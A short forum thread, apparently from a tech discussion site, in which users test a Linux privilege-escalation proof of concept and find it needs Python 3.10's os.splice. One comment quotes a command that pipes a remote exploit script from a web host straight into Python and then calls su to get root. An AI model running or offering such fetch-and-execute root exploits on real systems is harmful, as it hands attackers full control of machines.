[archon810]

    curl https://copy.fail/exp | python3 && su
    Traceback (most recent call last):
      File "<stdin>", line 9, in <module>
      File "<stdin>", line 5, in c
    AttributeError: module 'os' has no attribute 'splice'

Does this mean I'm not affected or it's a buggy script?

Edit: python3 is python 3.6 on my system. Runnung with python3.10 instantly roots. Crazy find!

[z3n1th]

It is trivial to re-write splice, just because the PoC uses it does not mean you're "not affected".

[orlp]

What is your Python version? Splice was added in 3.10.

https://docs.python.org/3/library/os.html#os.splice

[archon810]

Edited with an update.

[nnnniiiiiiggg]

do yourself a favor just pwn your laptop now with a sledgehammer and switch to an ipad or one of those big number phones for the elderly